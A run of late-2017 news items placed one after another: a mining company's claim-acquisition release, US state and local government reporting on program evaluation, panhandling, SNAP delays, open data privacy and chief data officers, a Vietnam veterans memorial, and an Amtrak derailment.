When used in this news release, the words "estimate", "project", "anticipate", "expect", "intend", "believe", "hope", "may" and similar expressions, as well as "will", "shall" and other indications of future tense, are intended to identify forward-looking information. The forward-looking information is based on current expectations and applies only as of the date on which they were made. The factors that could cause actual results to differ materially from those indicated in such forward-looking information include, but are not limited to, the ability of the Corporation to fund the exploration expenditures required under the Agreement. Other factors such as uncertainties regarding government regulations could also affect the results. Other risks may be set out in the Corporation's annual financial statements, MD&A and other publicly filed documents.

The Corporation cautions that there can be no assurance that forward-looking information will prove to be accurate, as actual results and future events could differ materially from those anticipated in such information. Accordingly, investors should not place undue reliance on forward-looking information. Except as required by law, the Corporation does not assume any obligation to release publicly any revisions to forward-looking information contained in this press release to reflect events or circumstances after the date hereof.

Neither the TSX Venture Exchange nor its Regulation Service Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.


SASKATOON, SASKATCHEWAN--(Marketwired - Dec. 19, 2017) -

THIS NEWS RELEASE IS NOT FOR DISTRIBUTION TO U.S. NEWSWIRE SERVICES FOR DISSEMINATION IN THE UNITED STATES

Gespeg Copper Resources Inc. (TSX VENTURE:GCR) (the "Company" or "Gespeg") announces that it has entered into a purchase agreement (the "Agreement") with an arm's length party (the "Vendor"), to acquire a 100% undivided interest to 3 mineral claims on the Southern portion of the Gaspe Peninsula, near the Municipality of Port Daniel. The 3 claims will be part of a known project called Lac Arsenault in addition to the 6 claims that are already part of the company.

Past work has proven that the Lac Arsenault Prospect hosts 5 major vein systems, the Baker vein, the Mersereau vein, the Line 4 W vein, the Marleau vein and the Greek veins and related breccias. Since the original discovery in 1946 of mineralized boulders north of Lac Arsenault, the project area has been explored through prospecting, geophysical surveying, geochemical surveying, mapping, trenching, stripping, diamond drilling and sampling. It appears, as a result of these exploration programs, that the veins are open along strike and at depth. As yet, the sources of numerous mineralized boulders, geochemical Au and Ag anomalies and geophysical conductors remain undefined on the Lac Arsenault Prospect. The polymetalic mineralization found to date represents telescoping mineralized veins and breccias caused by an underlain intrusion.

The exploration results obtained between 1973 and 1978, completed by Esso Resources, indicates that the original three veins (the Baker, Mersereau and Line 4W) host historical estimates evaluation of 40,000 tonnes, grading 15.43 g/t Au, 197.00 g/t Ag, 6.6 % Pb and 3.5 % Zn (DV-85-08 page 7). This historical estimate is based on the surface expression of the three veins only. An evaluation of a four vein systems was performed by Peter Smith, Ph.D., in his report of Oct. 1995, indicating that these known vein systems contain his historical estimate evaluation shows 135,510 tons of 0.35 oz/ton Au. Peter J. Hawley re-evaluated these historical estimate in a report dated Feb. 7, 1996, stating that the Arsenault Prospect contains 220,042.52 short tons at 0.307 oz/ton Au.

Under the terms of the Agreement, Gespeg is acquiring the Property by paying the Vendor the following:

A payment of 200,000 shares upon TSX Venture Exchange approval. A payment of 300,000 shares to be issued at the first anniversary date of TSX Venture Exchange approval.

Mr. Sylvain Laberge, President and CEO of Gespeg, remarks "We are pleased to add this property to our portfolio. It furthers our mandate of expanding our position in prospective properties in the Gaspe Peninsula region.

The Agreement is subject to the approval of the TSX-Venture Exchange.

Update on Montauban Project

As for our Montauban project we spent the last few months getting all of the required approvals from the relevant parties. These approvals are now in place and the Company is awaiting its certificate of authorization from the Ministry of Energy and Natural Resources to start the tailings evaluation and 43-101 resource calculation.

The Company remains committed to moving the Montauban Project forward in accordance with the terms of the agreement with the vendors.

About Gespeg Copper Resources Inc.: Gespeg is an exploration company with a focus in grossly underexplored regions "Gaspe and Montauban, Quebec". With a dedicated management team, the Company's goal is to create shareholder wealth through the discovery of new deposits.

Bernard-Olivier Martel, P. Geo, the Company's Director of Exploration, is a qualified person (as such term is defined in National Instrument 43-101 - Standards of Disclosure for Mineral Projects) and has reviewed and approved the technical disclosure contained in this news release.

Gespeg Copper Resources Inc.

(signed) "Sylvain Laberge"

FORWARD LOOKING INFORMATION

Some of the statements contained in this press release are forward-looking statements and information within the meaning of applicable securities laws. Forward-looking statements and information can be identified by the use of words such as "expects", "intends", "is expected", "potential", "suggests" or variations of such words or phrases, or statements that certain actions, events or results "may", "could", "should", "would", "might" or "will" be taken, occur or be achieved. Forward-looking statements and information are not historical facts and are subject to a number of risks and uncertainties beyond the Company's control. Actual results and developments are likely to differ, and may differ materially, from those expressed or implied by the forward-looking statements contained in this news release. Accordingly, readers should not place undue reliance on forward-looking statements. The Company undertakes no obligation to update publicly or otherwise revise any forward-looking statements, except as may be required by law.

Neither TSX Venture Exchange nor its Regulations Services Provider (as that term is defined in policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.
"Our third-grade reading scores were not where we wanted them to be, says Charles Sallee, New Mexicos deputy director of program evaluation. His office set out to determine which public programs were actually working to improve those statistics, and which werent. Sallees team found that the states pre-K efforts, and a suite of other early literacy programs, had a positive and lasting impact on the educational achievement of young people. So funding for literacy programs was expanded. The office also found that a different set of programs that focused on providing less formal, less education-oriented child care programs in New Mexico werent functioning effectively enough to make a difference. So the state promptly halted their expansion.The New Mexico story is just one of many in which program evaluation efforts can make a huge difference and bring insight into the degree of success of state and local programs. Among the states, New Mexicos evaluation office is widely known as one of the best, followed closely by those in Mississippi and Virginia.Not many of us, however, have heard of evaluation offices, which are almost always housed in the legislative branch. Although a few exist within some agencies, the office and its services have not gained traction as a centralized executive branch function. The evaluators themselves, who utilize standards and guidelines to reach their conclusions about program effectiveness, are typically men and women who have expertise in the particular field theyre assessing.Notwithstanding a convincing list of the benefits an effective program evaluation office can have, there is no guarantee that these offices will continue to receive support to do their jobs. Consider the up-and-down history of Floridas Office of Program Policy Analysis and Government Accountability (OPPAGA). It had long been known as one of the best program evaluation offices in the nation. In 2010, it had been well-funded at $8.2 million, with its money coming from a dedicated source. Then came the cuts. The program was put into the hands of legislative leadership and the dedicated source of funds was eradicated in favor of a year-to-year budgetary decision. Lawmakers clipped its funding back to $5.5 million in 2011 and kept chipping away in subsequent years. Its role is similar to what its always been, but fewer reports are being done -- and more and more of them are coming at the behest of a lawmaker rather than from OPPAGA staff.Countering the Florida situation is one from North Carolina. Back in 2015, the states Department of Health and Human Services failed to provide consistent and accurate performance information on its programs. This infuriated legislators, who channeled that anger into legislation, establishing a new Office of Program Evaluation Reporting and Accountability (OPERA) within the department.There things stood. A couple of years passed with no action until the State Appropriations Act for fiscal years 2017-2018 finally mandated its establishment and promised funding. With the help of John Turcotte, the director of the states program evaluation services division of the Legislative Services Office, OPERA started to take shape this summer.Turcotte is optimistic about the long-term benefits. One key reason: Its work can help give legislators cover for making the best use of tax dollars, even when the best use might not be the most politically popular.Clearly, not all evaluation offices are equal in their effectiveness. We asked Kathryn Newcomer, president of the American Evaluation Association, what the keys are to building and maintaining a strong system. She suggested three criteria: The first is to educate politicians and senior executives on the need to collect data on how programs are being implemented and how theyre working. Unless you convince them about that, nothing will be done. Second, articulate and frame the questions that will be looked at in programs and policies. Prioritize the questions, because resources are not unlimited. And last, produce concrete evidence of why the set of findings delivered for creating or changing a program are more persuasive than other alternatives.Theres action on this issue at the federal level as well. In March 2016, the federal government established the Commission on Evidence-Based Policymaking, which then assembled research detailing the significant benefits of evaluation efforts in a paper. One of the major recommendations was for all federal agencies to set up a chief evaluation officer to coordinate evaluation and policy research.So far, the Labor Department is the only cabinet-level federal department to have created such a position, according to Newcomer. Some other federal agencies, such as the Centers for Disease Control and Prevention, have put such offices in place and others may soon follow suit.The commissions recommendation holds for states and localities as well. One of the papers authors, Robert Shea, a principal of the public-sector practice at Grant Thornton, would like to see a continuum of evaluation offices at various levels of government. He sees the possibility that these offices could be the central point through which you bring together these communities to consolidate funding streams, share best practices and so on. It could be a balm for what ails federalism.Shea notes that states and localities have the same needs as federal agencies in terms of coordinating evidence-based research. Establishing such offices should be, in Sheas words, a no-brainer.
Two years ago, Albuquerque, N.M., received national attention for an innovative program that addresses citizens' concerns about panhandlers. Rather than arrest or ticket them, the city offers people begging for money temporary work at $9 an hour, feeds them lunch and connects them with social services at the end of the day."We wanted to try and create an initiative that would be a little out of the box," then-Mayor Richard Berry told in 2015. "Instead of taking the punitive approach and the regulatory approach, why not try something that uplifts everybody?"Most of the panhandlers are given day jobs with the city's public works department, performing low-skilled tasks like picking up litter. According to data provided by the city, the initiative has so far provided 4,240 day jobs, housed 21 homeless residents and connected 414 people with additional work.For cities that had historically punished panhandlers, Albuquerque offered an alternative. More than a dozen cities, from Seattle to Chicago, were inspired to launch similar programs of their own.But under a new ordinance enacted late last month by the city council, critics say Albuquerque is returning to the failed practice of criminalizing homelessness.Specifically, the law bans pedestrian interactions with vehicles at certain locations, including highway entrances and street medians. The word panhandling does not appear in the ordinance, and the restrictions apply to anyone who asks for money.The sponsor, City Councilor Trudy Jones, says she introduced the measure to deal with the high rate of pedestrian traffic deaths in the city. But in practice, it will have an impact on panhandling, she says. That is the major pedestrian-driver interaction.Many cities have laws that target panhandling.According to the National Law Center on Homelessness and Poverty, 61 percent of 186 cities surveyed last year ban begging in particular public places, such as commercial or tourist districts. The same report found that regulations like these have become more common. However, a 2015 U.S. Supreme Court ruling strengthened homeless advocates' argument that panhandlingis a form of protected free speech, putting those laws on potentially shaky legal ground.The case, Reed v. Town of Gilbert, clarified that government restrictions on speech must be as narrow as possible and must be based on a compelling interest. As a result, broad panhandling bans have been struck down by courts or repealed by local governments and replaced, in some cases, with laws like Albuquerque's that restrict interactions between vehicles and pedestrians.The council justifies the new restrictions based on a 2015 University of New Mexico study that mentioned pedestrian error as a reason for accidents. One kind of pedestrian error is entering a roadway outside the crosswalk to ask for donations.It tries to portray itself as being a general prohibition on interactions between pedestrians and motorists on medians and street corners, says Peter Simonson, the executive director of the ACLU of New Mexico, which is planning to mount a legal challenge to the law. I dont think anybody in their right mind would question that this ordinance is explicitly targeting panhandlers.While the law's impact on panhandlers has sparked controversy, no one is disputing that pedestrian traffic deaths are a serious problem in Albuquerque. Data from the National Highway Traffic Safety Administration show that New Mexico has one of the highest rates of pedestrian fatalities in the country, and Albuquerque has the second highest rate among large cities.Before the city passed its new law, the National Law Center on Homelessness and Poverty had been preparing a case study on Albuquerque to highlight how a local government could address panhandling by tackling unemployment and other root causes.I dont even know if we are going to put out this case study anymore because the city has gone back to this practice, says Tars. At a minimum, were going to have to put a giant asterisk on it.Former Albuquerque Mayor Richard Berry, who left office earlier this month after deciding not to seek re-election, did not sign the legislation -- though he didn't need to since the city council's vote was unanimous. He thinks that while the new ordinance might make intersections safer, it won't reduce panhandling. For that, he says, the city needs to offer people a constructive alternative and continue the jobs program."We're actually getting people off the corner," he says. "The program's working."
There is something glaring missing from the pages of Carlisle High School yearbooks.

History teacher Kevin Wagner noticed it while researching the years 1960 to 1975.

Theres not one mention of the Vietnam War, said Wagner, the social studies program chair for Carlisle Area School District.

No memorial or recognition. ... Nothing on a single page. It was like it almost didnt happen.

Perhaps the issue was too divisive to chance space in the yearbook. Maybe the editors felt torn over how to approach it in a community steeped in military history. It could be the whole thing seemed far off or off-putting, a current event best forgotten.

Yet the fighting that raged in Southeast Asia defined a generation of Americans and shaped the society around them.

Setting things right

Now more than ever we have come to the point where we are so far removed from the Vietnam War that we need to honor and recognize the men and women who served, Wagner said.

He plans to do just that, but he needs the help of the Carlisle community. Wagner needs people to come forward with information on people who either attended or graduated from Carlisle High School and served in the Vietnam War.

This includes men and women who attended or graduated prior to the actual war years but made careers or long-term enlistments out of their military service. For example, Wagner came across the name of a 1939 graduate who was an officer in Southeast Asia.

Specifically, he is looking for the name, years attended or year graduated and service branch of each Carlisle High School alumnus. The goal is to list information of those who served and made it back on a plaque that would be mounted in the main hallway of the McGowan building, where it would be visible to people attending events. The names are due in March so that the plaque could be unveiled in May.

But his tribute to Vietnam veterans would not end there. Wagner wants to create a memorial to those Carlisle High School alumni who were killed or missing in action. As of Wednesday, he had 11 names of the fallen.

Wagner envisions a flag case for each veteran with a folded flag in each case. The name of the dead or missing service member would be etched or engraved on the case. Underneath each one of those would be a framed short biography with a photograph, Wagner said.

The plaque and memorial are in the very early stages of development and will be funded by donations from the public, Wagner said. The school district has set up a special account to receive donations for this project.

To contribute a name or arrange a monetary donation, contact Wagner at 717-240-6800, ext. 26132 or e-mail him at wagnerk@carlisleschools.org.

The idea for this project grew out of a growing fascination with the Vietnam War that has developed in this country over the past year or two, Wagner said. He mentioned in particular the Ken Burns documentary series on the war that aired on PBS in September.

Along with that, Wagner noticed while memorials exist in the high school for military veterans, there was nothing substantial for Vietnam War veterans. There is a plaque on the wall across from the library entrance that mainly lists Carlisle High School alumni who died in World War II with the names of the Vietnam War fallen beneath that.

As a history teacher, personally, I felt that was very odd, Wagner said. They should be deserving of their own wall of honor or memorial.

The idea to pay them tribute solidified earlier this year after Wagner attended the annual teachers conference of the Pennsylvania Council for the Social Studies.

This conference offers educators professional development opportunities including workshops on best practices, teaching methods and curriculum ideas. Wagner was a presenter.

One school near Philadelphia offers a yearlong project for high school students interested in researching graduates who served in Vietnam. One step in Wagners effort has been to contact Carlisle-area veterans organization to enlist their help.

Spreading the word

Rick Olson answered the call as commander of VFW Post 477. He is an Air Force veteran of the Vietnam War who loaded air-to-ground munitions onto F-4 Phantom jets in Da Nang from 1968 to 1969.

I applaud him in his efforts, said Olson, adding that Wagner is in for a challenge to make sure that the list of alumni who served in Vietnam is as thorough as possible. His advice to Wagner is to consider any and all avenues of getting the word out to the public.

Olson knows the challenge firsthand. A graduate of Mandan High School in North Dakota, he tried years ago to compile the names of alumni who served for a class gift, but it was not easy.

To help Wagner, Olson has distributed information on the Vietnam memorial project to post membership in the hope individuals come forward. Olson estimates about 40 percent of the posts 600 members with military ties are Vietnam-era veterans.

After Vietnam, Olson joined the Army and served in air defense artillery units. He retired in 1983 with the rank of major and is an Army ambassador with the Army Heritage and Education Center. In that capacity, Olson interviews World War II-era veterans for their memories and helps to organize bus trips to the national memorial on that conflict in Washington, D.C.

Many Vietnam War veterans who came home from Southeast Asia were insulted, spat upon and chastised just because they served in a controversial war.

Despite that, they are proud to have served their country and are happy to see how far the country has turned around to honor them for their service, Olson said.
Tens of thousands of Illinois households aren't receiving federal food stamp benefits leading up to the holidays because of problems with a state computer system.In 2013, the state's Department of Human Services began rolling out a new computer system to administer entitlement benefits, such as Supplemental Nutrition Assistance Program benefits, more commonly known as SNAP or food stamps.The second phase of that process began in late October. In November, more than 40,000 households lost their SNAP benefits, some of which have since been restored, according to state officials. As of earlier this week, more than 30,000 households remained without SNAP benefits, escalating frustrations at local benefits offices.Officials with the Department of Human Services and representatives of the American Federation of State, County and Municipal Employees union -- which represents more than 2,400 human services caseworkers in Illinois -- disagree on what's causing the problems. But both sides say they hope to restore benefits as soon as possible for those who are eligible.Chicago resident Edna Marshall and her family are still waiting for their SNAP benefits. Marshall, 31, in late October filed for food assistance for herself and six of her children, two of whom have disabilities, after she missed a deadline earlier that month to renew her benefits. Almost two months later, she said she still hasn't received any benefits. Caseworkers have told her the delay is because of the state's new system, Marshall said."We've got to feed our kids," said Marshall, who lives in the city's Gresham neighborhood. "I've been feeding my kids with my rent money."State officials acknowledge the launch of the system's second phase hasn't gone smoothly, but say the system eventually will be more efficient and easier to use for the 1.8 million people in Illinois who receive SNAP benefits.A certain number of SNAP recipients routinely lose their benefits each month because of missed deadlines or ineligibility, but that number ballooned after the second phase of the new system was rolled out. With the old system, the state canceled some 14,000 to 15,000 cases per month, said Diane Grigsby-Jackson, director of the division of family and community services for the Department of Human Services.On Nov. 15, under the new system, the state canceled 41,000 cases, 12,000 of which have since been reinstated, she said.Some caseworkers on the front lines say they're overwhelmed and undertrained."Everybody's learning the new system, but the problem is we're learning on the backs of poor people. And we're taking their benefits away during the worst possible season," said Vonceil Metts, a human services casework manager at a local DHS office in West Garfield Park.Metts' message for affected families: "I apologize to our customers. It's beyond our control, but I apologize."Every six months, a person receiving SNAP benefits has to complete an application that recertifies eligibility. But some who filed those applications in the past two months lost their benefits because their files had not been converted into the new system, said Metts, who is also president of AFSCME Local 2808.Converting the files has been a tedious process that has prompted long waits and angry clientele in the local offices, Metts said.Grigsby-Jackson said there are no glitches in the new computer system and that caseworkers were properly trained. But differences between the new and old systems likely caused some people to not receive their benefits.For example, the applications to renew eligibility are due the fifth day of every month and, under the new system, benefits are automatically cut off after the 15th for cases that don't meet that deadline. Because cases had to be canceled manually in the old system, applicants had more of a grace period, she said.The changes could have been better communicated to clients, Grigsby-Jackson said. "We want to make it right. ... And once we're on the other side of this, we'll have a system that's pretty amazing," she said.With the new system, people receiving benefits, which also include Medicaid and Temporary Assistance for Needy Families cash assistance, can manage their benefits online and submit applications to a central office in Springfield, in addition to visiting the local offices as before, Grigsby-Jackson said.To help restore benefits to those who are eligible, the state has approved overtime pay for caseworkers and has sought approval from the U.S. Department of Agriculture's Food and Nutrition Services, which oversees SNAP, to reinstate benefits."USDA is working with Illinois to provide technical assistance and policy guidance to resolve these problems, and will continue to work with Illinois to ensure benefits are correctly issued," said Jalil Issa, spokesman for the USDA Food and Nutrition Services, in an email.Lori Gladson, a casework manager in the Peoria area, said the problems with the new system extend well beyond applicants simply missing deadlines.Many people applied to renew their benefits well before the deadline and still lost their benefits, Gladson said, in part because the central office in Springfield is overwhelmed with work. And Gladson said some clients have also not been able to access their Medicaid benefits as a result."Why would you do this right before the holidays?" said Gladson, who also serves as president of AFSCME Local 51.These growing pains for the new system in Illinois come as President Donald Trump and some Republican lawmakers gear up for a broader -- but unspecified -- push for welfare reform. In general, there's been bipartisan support for SNAP throughout past administrations.In fiscal year 2017, more than 42 million Americans received assistance through SNAP, which also provides assistance in times of disaster, with the average monthly benefit of $125 per person.Deloitte won the competitive bidding process to build the state's integrated eligibility system and has since submitted invoices to the state for $193 million, said Meghan Powers, DHS spokeswoman. The federal government has agreed to pay 90 percent of that cost, she said.A Deloitte spokeswoman didn't respond to requests for comment.
Gov. Wolf on Monday vetoed a measure passed by the Republican-controlled legislature that would have restricted abortion rights, calling it a "vile assault on women's ability to make their own decisions about their own health care.""Make no mistake about it," Wolf said at a news conference at Philadelphia's City Hall, Senate Bill 3 "is an attack on women. It's an attack on their health, their freedom, their choice, their liberties."Wolf's veto was something of an opening salvo in next year's gubernatorial race. Republicans, including House Speaker Mike Turzai of Allegheny County and State Sen. Scott Wagner of York County, both of whom voted for the bill, are running to challenge Wolf, a Democrat, in November. The state GOP blasted Wolf on Monday as a "puppet of Planned Parenthood."Senate Bill 3 would have banned abortions at the 20-week mark of pregnancy, four weeks earlier than under current law. The measure provided some exceptions for emergencies like preventing the death of the mother.It also would have restricted circumstances in which doctors could perform a common second-trimester procedure by prohibiting them from "knowingly and purposefully causing the death of an unborn child by means of dismembering the unborn child and extracting the unborn child one piece at a time from the uterus through the use" of various instruments.The bill's authors referred to this method as "dismemberment abortion," a nonmedical term. Federal judges have issued injunctions against such bans in states such as Texas, Alabama, Kansas, Arkansas, and Oklahoma, according to the National Right to Life Committee.There was no public hearing featuring testimony from medical professionals as the Pennsylvania bill rocketed through the legislature.The bill passed the House last week, 120-70, and the Senate in February by a vote of 32-18. Republicans in Harrisburg could try to override Wolf's veto, but they appear to lack the two-thirds majority to do so. Still, the veto gave them partisan ammunition."Tom Wolf is a puppet of Planned Parenthood, the nation's number one provider of abortions, and is going to gladly accept their special-interest money for more political favors," said Greg Manz, spokesman for the Pennsylvania Republican Party.
In a sit-down interview, State Attorney General Doug Chin told Hawaii News Now he will be running for U.S. Congress."When this opportunity came up, and we were seeing all the different things were happening with what was going on in Washington, D.C., I just realized it was time. It's time to step into the ring and really keep making a difference because I think that's one of the things that I've really learned in the past year - I can't keep silent, I've got to stand up for what I believe in and protect the values that I think are so important, not just to me, but to people all throughout our community," Chin said.Chin is known for his repeated legal challenges to President Trump's travel ban. He admitted he's not an experienced politician, but says his 15 years in the city's prosecuting office has provided him with experience in fighting for what he believes in.
ATLANTA  As cities have begun to collect and release unprecedented amounts of data, questions about citizen privacy have become increasingly relevant. Local governments, for their part, often lack specific privacy policies and rely on checks such as community outcry, industry best practices and guidance from law professors to dictate the limits of their work.

This was an overarching topic at many panels during the recent MetroLab Annual Summit , where featured speakers included municipal tech leaders, nationally renowned law professors, privacy advocates and leaders of smart city tech companies, among others. What emerged was a sense that local governments are increasingly aware of privacy considerations; that they are interested in de-identifying the data they collect; and that they only want data that will help with the work of improving services. Technology and innovation, however, can tend to outpace efforts to establish firm checks on privacy.

To understand the discussions, one must understand the current state of municipal open data, as well as how government uses smart city tech. Open data has transitioned in recent years; previously, cities made data available without much thought to what happens once it is released, meaning most cities did not release data in formats that allowed easy use by all citizens, so the only people who found it useful were civic technologists and data geeks. This is changing, with cities like New Orleans, Boston and Chicago steadily rolling out new concepts that use open data to create tools citizens can use to get information about rental properties or learn about water quality at public beaches

Many of these leading cities are now collecting information through Internet of Things (IoT) initiatives that help them learn more about their streets, collecting data on everything from traffic flow to rainfall to air quality. These initiatives are often carried out by sensors or nodes that essentially surveil certain areas, although "surveil" is too harsh a word. Instead, these initiatives simply capture large swaths of info so technologists and other city leaders can contextualize whats happening, paving the way for the creation of prescriptive and predictive analytics tools that can alter the allocation of city resources and, ultimately, improve quality of life.

Peter Swire, a leading privacy and cyberlaw scholar who is currently a law professor at Georgia Tech, was the chief counselor for privacy in the U.S. Office of Management and Budget under President Clinton, making him the first person to ever have U.S. governmentwide responsibility for privacy policy. He was also a member of President Obamas Review Group on Intelligence and Communications Technology. At the summit, Swire described being in the Obama administration during the creation of data.gov in 2009 and 2010.

Swire said expectations for the power of governmental open data started high  he held a hand well above his head  but because of the potential for inadvertently identifying individuals, expectations dropped  he lowered his hand well below his neck.

Open data efforts at the city level must also consider whether data can be subpoenaed and used to make arrests, which is not the goal or function of civic open data work.

Its a fundamental part of an open data effort to think what can be re-identified, what is private information and can the police come and get a warrant, Swire said, urging both public servants and gov tech vendors to always stay aware of that.

Perception is also important, as Chicago and its collaborators learned upon launching the Array of Things project, an influential smart cities initiative made up of thousands of nodes. Array of Things, which is in the process of being spread to other cities , was born of a collaboration between the city and researchers at the University of Chicago, like Charlie Catlett, the director of the Urban Center for Computation and Data.

Catlett said that when they were first setting up the nodes that collect data for the Array of Things project, the community was skeptical of any government effort to collect info, so technologists had to learn to become very deliberate when they explained what they were doing and why.

One of the representatives on the panels from city government was Michael Mattmiller, chief technology officer of Seattle, which is one of a handful of cities with a detailed privacy policy related to data governance in place.

Mattmiller said that Seattles approach has been shaped by the desires of the community, and that, despite being a city where data is open by preference, this has led to Seattle reducing the data it releases.

Our people who are paying attention would much rather see us err on the side of not releasing something that could cause a mosaic effect or otherwise cause harm, Mattmiller said.

To that end, Seattle uses a practice thats kind of like dipping a toe in a pool. When it comes to open data, city technologists guess at the most minimally valuable open data set that would benefit the community. They pinpoint that, release it and monitor reaction. If there isnt strong opposition, they release another data set thats more comprehensive.

Seattle has also implemented a privacy training program for employees, and it has heeded the advice of its academic and research community, specifically that offered by research dubbed Push, Pull and Spill , which gave a number of recommendations related to open data and privacy. Currently, Seattle has implemented all of the suggestions save one, which it is working with researchers to implement now.

One of the authors of this research, Jan Whittington of the University of Washington, emphasized the importance of steady communication with the public. To this end, the city must always have a clear end goal in mind when it begins collecting new data.

If we get down to the root of it, the idea of the technology is supposed to be that its serving a real public purpose that people can get behind, Whittington said. Its not supposed to be a fishing expedition.

Tom Schenk is the chief data officer for Chicago, which like Seattle has a privacy policy in place , but he also noted that his city is not subject to as many regulations as Seattle or San Francisco, and that looking to them for guidance is also helpful. Schenk said Chicago has found that its community is generally amendable to open data work when the technologists effectively communicate its purpose, specifically how it makes life better.

Between every single one of those projects, we have the responsibility of thinking what is too much, what is too far, Schenk said, and its really a use-case-by-use-case basis.

Nearly every speaker acknowledged the vast potential of predictive analytics that stem from this data collection, just as they all emphasized that it was important to not create tools that make residents' personal information vulnerable. But perhaps the most prevailing idea in these discussions, however, was the notion that we are in the early stages of municipal open data privacy regulations.

Speakers also voiced concern for the future, noting that while dialog may be open and strong among the first generation of smart city residents, people have a way of becoming complacent, and privacy considerations could be forgotten moving forward.

Mattmiller voiced a thought that could maybe sum up the future of the matter: In this brave new world of IoT, notice of consent is going to be very interesting.
Hiring More CDOs Alex Engler, program director of Computational Analysis and Public Policy at the University of Chicago, points to the role of chief data officer as a new position that is helping change how government tackles social issues. The cities that seem to get the most done have a chief data officer, he said. Engler points to Chicagos Tom Schenk as someone who has been a trailblazer when it comes to data-driven policies and practices.



But the role remains relatively new and is still uncommon, especially at the local level. New York City was the first local government to appoint a CDO in 2011. This year, there were a dozen CDOs in city government and three at the county level, according to Government Technology.



Recognizing the growing importance of the CDO, in March 2016, Harvard Kennedy Schools Ash Center for Democratic Governance and Innovation announced that it had been awarded a grant by the Laura and John Arnold Foundation to establish and support a national peer network of urban chief data officers, who will collaborate on shared projects that advance the use of data visualization and predictive analytics in solving important urban problems related to economic opportunity, poverty reduction, and addressing the root causes of social problems.



Since then, a handful of cities have appointed CDOs. But the role is expected to become more important in the coming years. Gartner is projecting growth of 1,600 percent in CDOs across all industry sectors over the next two years and expects by 2019 that 90 percent of large organizations will have one.





5 Trends Driving Data-Driven Progress Chris Thomas, Esris director of state and local government marketing operations, has worked with the public sector for decades and has seen mapping technology evolve to solve myriad problems. Now, hes seeing a similar transformation unfold in the field of social services. Heres his list of five technology trends that are making data-driven solutions for social problems more effective:



Open data. Once almost inaccessible, government data that is open and readily accessible is helping a growing number of communities better cope with homelessness and poverty. While most people perceive open data as something for the public to consume, some of the biggest users of open data are government agencies. Story maps. This new concept in data visualization helps communicate whats going on and where the data is. It allows people to interact with data in a better way than having a single person try to explain whats going on to a room full of policymakers and stakeholders. Mobile solutions. Collecting data in the field in a consistent manner so it can be shared easily has had a significant impact on tackling social problems for local governments. Dashboards. This tool has provided workers with situational awareness for monitoring how a change in policy is doing against the norm. Data analytics. Data-driven projects require analytics to support decision-making and to help predict outcomes. It can take a good project and make it into a transformative one.

Government TechnologyLike so many communities around the country, Marin County, Calif., is struggling with the fallout from an epidemic of opioid addictions. The countys Public Health Department is trying to get a grip on the problem, and one way to do that is by pulling together data from local law enforcement and public safety agencies, as well as from the state and federal government to help county officials track everything from the number of opioid prescriptions given out to the number of emergency room admissions for drug overdoses.But the county faces two problems. First, figure out a way to spend more time exploring what the data means, and second, find people who can make sense of it. The answer to the first question is to use one of the new digital tools that can visualize the data. Marin County uses LiveStories. Other local governments, such as Allegheny County, use Tableau, while Esri has an arsenal of tools for teasing out stories from data. As for finding people who are not public health experts to be able to interpret the data, Marins Public Health Department has had to consider more unconventional approaches, such as using volunteers to help make sense of the data and find correlations that might lead to better outcomes.For Allegheny County, the situation is a bit different. With Carnegie-Mellon Universitys Heinz College of Information Systems and Public Policy nearby, the county government has an easy-to-tap pipeline of talent for conducting analytics. More importantly, the director of DHS sees data analysts as a priority, according to Dalton. Hiring analysts is not an option, but an investment decision, she said.The explosion in data at the local level has led to a wide range of breakthroughs in the field of social services, according to Alex Engler, program director for computational analysis and public policy at the University of Chicago. He points to analytics in Chicago that allowed city officials to prioritize which homes needed to be inspected based on their likelihood of having lead paint. They were even able to single out at-risk homes prior to when a family with children moved into them. He also mentioned the citys ability to predict where rat populations were likely to occur and curb outbreaks before they happened.The point, he said, is that predictive analytics can happen when analysts repurpose data that was initially collected for another reason. Yet, Chicago is one of just a handful of local governments that has figured out how to analyze disparate data sets in a useful way, a dilemma that Goldsmith and others have warned about.This type of shift in how data can be used is a big problem for public social services, because theres no one with the skill set to deal with it, said Engler. The number of computer science graduates who go into public policy is unbelievably low. The public sector is about 30 percent of the economy, yet less than 10 percent of computer science grads go into public service.Engler left a promising career as a data scientist working for Washington, D.C.-based think tanks and has returned to academia at the University of Chicago to recruit and train promising public policy students in the arcane world of data science and analytics. The education process centers around the practice of causal inference in public policy, which means looking retroactively at whether a program works, said Engler. As an example, he mentioned how changes to the Medicaid program can affect health-care prices, which can then impact consumer health care.The tools you use to teach causal inference are statistical analysis tools, such as Stata and SAS, he said. But a shift is taking place in academic data science, with more students learning analysis using open source tools, such as R or Python. At the same time, Engler believes the expanding universe of open data in government is helping to make possible more data-driven solutions for problems around poverty, homelessness and health. The universe of data that could be beneficial to a local governments social problems keeps expanding, with more private data sets beginning to have an impact too.Today, we have to teach students how to use new tools such as Python and have them evaluate Yelp data for health inspections, said Engler.The new generation of statistical tools are getting better, according to Engler, and a lot of the best tools are free. But the tools are not getting dramatically easier to use. Theres no point-and-click solution to any of these things, he said. You have to build an application that is going to integrate data coming in from various city services, as well as the private sector, and then build a platform for internal and external use.Where Engler sees progress is with local governments that have a chief data officer in place with a small staff who partners with the community. He cites Tom Schenk, Chicagos CDO, as someone who has created a model data-driven strategy that is impacting a broad range of public policies, including social services. One thing Schenk has done to expand the impact of data on policies is use community volunteers to help sort through the vast amounts of data the city is collecting. Cities like Chicago are doing this as much out of necessity as for community engagement and improved outcomes.Chicago, despite its size, struggles to find people who can interpret the data government collects and develop predictive models. In one project, the city turned to volunteers to pore over data that will predict with a high degree of accuracy when the citys beaches would be affected by an E. coli outbreak. Another data project is helping the city accurately gauge how much rainwater runoff goes into the citys sewers and how much can be diverted by more environmentally friendly methods.Using volunteers to conduct data science utilizing dashboards and other tools does have risks. They might see some data that the government doesnt want them to see. Or, they may make correlations and predictions that could end up as inconsequential or even distracting. But for local governments that cant find or afford analysts with a background in public policy, using volunteers can be beneficial as long as the data is presented in the proper context and with the right parameters.
At least three train passengers have died, according to the Washington State Patrol.

The train carried about 80 passengers and seven crew members when it derailed, Amtrak officials said.

On the freeway, five vehicles and two semi-trucks were damaged by the falling train cars and debris, officials said.

Between the drivers and train passengers, roughly 100 people were taken to local hospitals, a number of them with critical injuries, said Washington State Patrol Trooper Brooke Bova. As of Monday night, several remained hospitalized.

